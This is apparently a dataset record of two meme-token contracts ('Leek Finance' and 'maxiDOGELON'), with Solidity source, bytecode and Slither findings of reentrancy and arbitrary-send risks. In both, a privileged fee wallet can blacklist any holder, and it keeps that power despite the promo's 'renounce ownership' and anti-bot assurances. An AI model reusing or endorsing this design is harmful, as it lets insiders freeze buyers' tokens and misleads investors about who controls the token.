We scrapped the chain looking for inspiration when it comes to the biggest problems surrounding MEME-token launches (swingers, whales and bots). Our hand-made contract is a guarantee that our investors can't be botted and that no whales can't control our supply. Combining a solid contract to a community-driven approach, we're set up for success.
=== Website ===
https://leek.finance
=== Twitter ===
https://twitter.com/leekfinance
=== Telegram ===
https://t.me/leekfinance
=== Uniswap ===
https://app.uniswap.org/#/swap?inputCurrency=0x9d52088f9869824f6584ca8691777aedda7be0dd&chain=mainnet
=== Chart ===
https://www.dextools.io/app/ether/pair-explorer/0x1add2e50e88b631ba2f49fd65c9b58f530e93943
=== Total Supply ===
1400000000 LEEK
=== Max Buy ===
14000000 LEEK or 1%
=== Max Wallet ===
2%
=== Initial Pool ===
6 ETH
=== Tax ===
12%
=== Lock Period ===
60 days
=== Launch Plan ===
Stealth launch (no caller before launch)
No pre-sale
No team token
Lock liquidity
Renounce ownership
Callers incoming
**/
pragma solidity ^0.8.11;
uint256 constant INITIAL_TAX=12;
uint256 constant TOTAL_SUPPLY=1400000000;
string constant TOKEN_SYMBOL="LEEK";
string constant TOKEN_NAME="Leek Finance";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract LeekFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _maxWallet= TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(50);
_maxWallet=_tTotal.div(25);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
if(to != _pair) {
require(balanceOf(to) + amount < _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function addToWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=true;
}
function removeFromWhitelist(address buyer) public onlyTaxCollector{
_isExcludedFromFee[buyer]=false;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function blockBots(address[] memory bots_) public onlyTaxCollector {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyTaxCollector {
bots[notbot] = false;
}
function createUniswapPair() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyTaxCollector{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function swapForTax() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function collectTax() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x6080604052600436106101385760003560e01c8063715018a6116100ab578063a9059cbb1161006f578063a9059cbb14610377578063bfd7928414610397578063d49b55d6146103c7578063dd62ed3e146103dc578063e43252d714610422578063e8078d941461044257600080fd5b8063715018a6146102cd5780638ab1d681146102e25780638da5cb5b1461030257806395d89b411461032a5780639e752b951461035757600080fd5b8063313ce567116100fd578063313ce5671461021c5780633d8705ab146102385780633e07ce5b1461024d5780634a131672146102625780636b9990531461027757806370a082311461029757600080fd5b8062b8cf2a1461014457806306fdde0314610166578063095ea7b3146101ad57806318160ddd146101dd57806323b872dd146101fc57600080fd5b3661013f57005b600080fd5b34801561015057600080fd5b5061016461015f3660046114c2565b610457565b005b34801561017257600080fd5b5060408051808201909152600c81526b4c65656b2046696e616e636560a01b60208201525b6040516101a49190611587565b60405180910390f35b3480156101b957600080fd5b506101cd6101c83660046115dc565b6104da565b60405190151581526020016101a4565b3480156101e957600080fd5b506006545b6040519081526020016101a4565b34801561020857600080fd5b506101cd610217366004611608565b6104f1565b34801561022857600080fd5b50604051600681526020016101a4565b34801561024457600080fd5b5061016461055a565b34801561025957600080fd5b5061016461057e565b34801561026e57600080fd5b5061016461059d565b34801561028357600080fd5b50610164610292366004611649565b610829565b3480156102a357600080fd5b506101ee6102b2366004611649565b6001600160a01b031660009081526002602052604090205490565b3480156102d957600080fd5b50610164610861565b3480156102ee57600080fd5b506101646102fd366004611649565b610905565b34801561030e57600080fd5b506000546040516001600160a01b0390911681526020016101a4565b34801561033657600080fd5b506040805180820190915260048152634c45454b60e01b6020820152610197565b34801561036357600080fd5b50610164610372366004611666565b61093d565b34801561038357600080fd5b506101cd6103923660046115dc565b610966565b3480156103a357600080fd5b506101cd6103b2366004611649565b60056020526000908152604090205460ff1681565b3480156103d357600080fd5b50610164610973565b3480156103e857600080fd5b506101ee6103f736600461167f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561042e57600080fd5b5061016461043d366004611649565b6109a3565b34801561044e57600080fd5b506101646109de565b6009546001600160a01b0316331461046e57600080fd5b60005b81518110156104d657600160056000848481518110610492576104926116b8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806104ce816116e4565b915050610471565b5050565b60006104e7338484610b2e565b5060015b92915050565b60006104fe848484610c52565b610550843361054b8560405180606001604052806028815260200161184e602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611047565b610b2e565b5060019392505050565b6009546001600160a01b0316331461057157600080fd5b4761057b81611081565b50565b6009546001600160a01b0316331461059557600080fd5b600654600a55565b6009546001600160a01b031633146105b457600080fd5b600c54600160a01b900460ff16156106135760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546006546106309130916001600160a01b0390911690610b2e565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610683573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a791906116ff565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610709573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072d91906116ff565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561077a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079e91906116ff565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610805573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057b919061171c565b6009546001600160a01b0316331461084057600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146108bb5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161060a565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461091c57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19169055565b6009546001600160a01b0316331461095457600080fd5b600c811061096157600080fd5b600855565b60006104e7338484610c52565b6009546001600160a01b0316331461098a57600080fd5b3060009081526002602052604090205461057b816110bb565b6009546001600160a01b031633146109ba57600080fd5b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6009546001600160a01b031633146109f557600080fd5b600b546001600160a01b031663f305d7194730610a27816001600160a01b031660009081526002602052604090205490565b600080610a3c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610aa4573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ac9919061173e565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b6000610b2783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611235565b9392505050565b6001600160a01b038316610b905760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161060a565b6001600160a01b038216610bf15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161060a565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cb65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161060a565b6001600160a01b038216610d185760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161060a565b60008111610d7a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161060a565b6000546001600160a01b03848116911614801590610da657506000546001600160a01b03838116911614155b15610fe657600c546001600160a01b038481169116148015610dd65750600b546001600160a01b03838116911614155b8015610dfb57506001600160a01b03821660009081526004602052604090205460ff16155b15610e5157600a548110610e515760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161060a565b6001600160a01b03831660009081526005602052604090205460ff16158015610e9357506001600160a01b03821660009081526005602052604090205460ff16155b610edf5760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161060a565b600c546001600160a01b03838116911614610f6e5760075481610f17846001600160a01b031660009081526002602052604090205490565b610f21919061176c565b10610f6e5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161060a565b30600090815260026020526040902054600c54600160a81b900460ff16158015610fa65750600c546001600160a01b03858116911614155b8015610fbb5750600c54600160b01b900460ff165b15610fe457610fc9816110bb565b47670de0b6b3a76400008110610fe257610fe247611081565b505b505b6001600160a01b0382166000908152600460205260409020546110429084908490849060ff168061102f57506001600160a01b03871660009081526004602052604090205460ff165b61103b57600854611263565b6000611263565b505050565b6000818484111561106b5760405162461bcd60e51b815260040161060a9190611587565b5060006110788486611784565b95945050505050565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104d6573d6000803e3d6000fd5b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611103576111036116b8565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061118091906116ff565b81600181518110611193576111936116b8565b6001600160a01b039283166020918202929092010152600b546111b99130911684610b2e565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f290859060009086903090429060040161179b565b600060405180830381600087803b15801561120c57600080fd5b505af1158015611220573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600081836112565760405162461bcd60e51b815260040161060a9190611587565b506000611078848661180c565b600061127a60646112748585611367565b90610ae5565b9050600061128884836113e6565b6001600160a01b0387166000908152600260205260409020549091506112ae90856113e6565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546112dd9082611428565b6001600160a01b0386166000908152600260205260408082209290925530815220546113099083611428565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600082611376575060006104eb565b6000611382838561182e565b90508261138f858361180c565b14610b275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161060a565b6000610b2783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611047565b600080611435838561176c565b905083811015610b275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161060a565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461057b57600080fd5b80356114bd8161149d565b919050565b600060208083850312156114d557600080fd5b823567ffffffffffffffff808211156114ed57600080fd5b818501915085601f83011261150157600080fd5b81358181111561151357611513611487565b8060051b604051601f19603f8301168101818110858211171561153857611538611487565b60405291825284820192508381018501918883111561155657600080fd5b938501935b8285101561157b5761156c856114b2565b8452938501939285019261155b565b98975050505050505050565b600060208083528351808285015260005b818110156115b457858101830151858201604001528201611598565b818111156115c6576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156115ef57600080fd5b82356115fa8161149d565b946020939093013593505050565b60008060006060848603121561161d57600080fd5b83356116288161149d565b925060208401356116388161149d565b929592945050506040919091013590565b60006020828403121561165b57600080fd5b8135610b278161149d565b60006020828403121561167857600080fd5b5035919050565b6000806040838503121561169257600080fd5b823561169d8161149d565b915060208301356116ad8161149d565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116f8576116f86116ce565b5060010190565b60006020828403121561171157600080fd5b8151610b278161149d565b60006020828403121561172e57600080fd5b81518015158114610b2757600080fd5b60008060006060848603121561175357600080fd5b8351925060208401519150604084015190509250925092565b6000821982111561177f5761177f6116ce565b500190565b600082821015611796576117966116ce565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117eb5784516001600160a01b0316835293830193918301916001016117c6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261182957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611848576118486116ce565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220403cf5cb2c21b5659ad1dc5d59552ce4edb56279833c8eb50d5761f6a778de1664736f6c634300080b0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,279 |
0xd3c3ca4dc0af361f1cfa639eb8d3aa418381485a
|
//telegram @maxiDOGELON
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract maxiDOGELON is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redis = 2;
uint256 private _tax = 10;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
string private constant _name = "maxiDOGELON";
string private constant _symbol = "maxiDOGELON";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable _add1) {
_feeAddrWallet1 = _add1;
_rOwned[owner()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
emit Transfer(address(0),owner(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
if (from != address(this)) {
_feeAddr1 = _redis;
_feeAddr2 = _tax;
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if(contractTokenBalance > 0){
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
if( from == owner()){
_feeAddr2 = 0;
_feeAddr1 = 0;
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function liftMaxTx() external onlyOwner{
_maxTxAmount = _tTotal ;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = _tTotal;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function blacklistBot(address _address) external {
require(_msgSender() == _feeAddrWallet1);
bots[_address] = true;
}
function removeFromBlacklist(address notbot) external {
require(_msgSender() == _feeAddrWallet1);
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
